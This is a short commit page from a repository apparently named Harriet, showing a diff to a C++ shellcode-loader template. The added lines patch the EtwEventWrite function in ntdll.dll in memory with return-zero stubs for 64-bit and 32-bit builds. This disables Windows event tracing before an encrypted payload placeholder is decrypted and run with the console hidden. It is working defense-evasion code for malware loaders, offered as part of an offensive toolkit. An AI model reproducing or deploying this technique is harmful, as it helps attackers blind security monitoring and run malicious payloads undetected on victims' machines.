Prechádzať zdrojové kódy

Update template.cpp

assume-breach 3 rokov pred
rodič
commit
941ecaf93b
1 zmenil súbory, kde vykonal 12 pridanie a 0 odobranie
  1. 12 0
      Harriet/Harriet/ThreadPoolWait/template.cpp

+ 12 - 0
Harriet/Harriet/ThreadPoolWait/template.cpp

@@ -66,6 +66,18 @@ int main() {
         unsigned char Random2[]=PAYVAL 
 
         unsigned int Random2_len = sizeof(Random2);
+	
+	void * addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
+        VirtualProtect(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);
+
+        #ifdef _WIN64
+        memcpy(addr, "\x48\x33\xc0\xc3", 4);            
+        #else
+        memcpy(addr, "\x33\xc0\xc2\x14\x00", 5);                
+        #endif  
+
+        VirtualProtect(addr, 4096, oldprotect, &oldprotect);
+
         FreeConsole();
         Random1((char *) Random2, Random2_len, Random3, sizeof(Random3));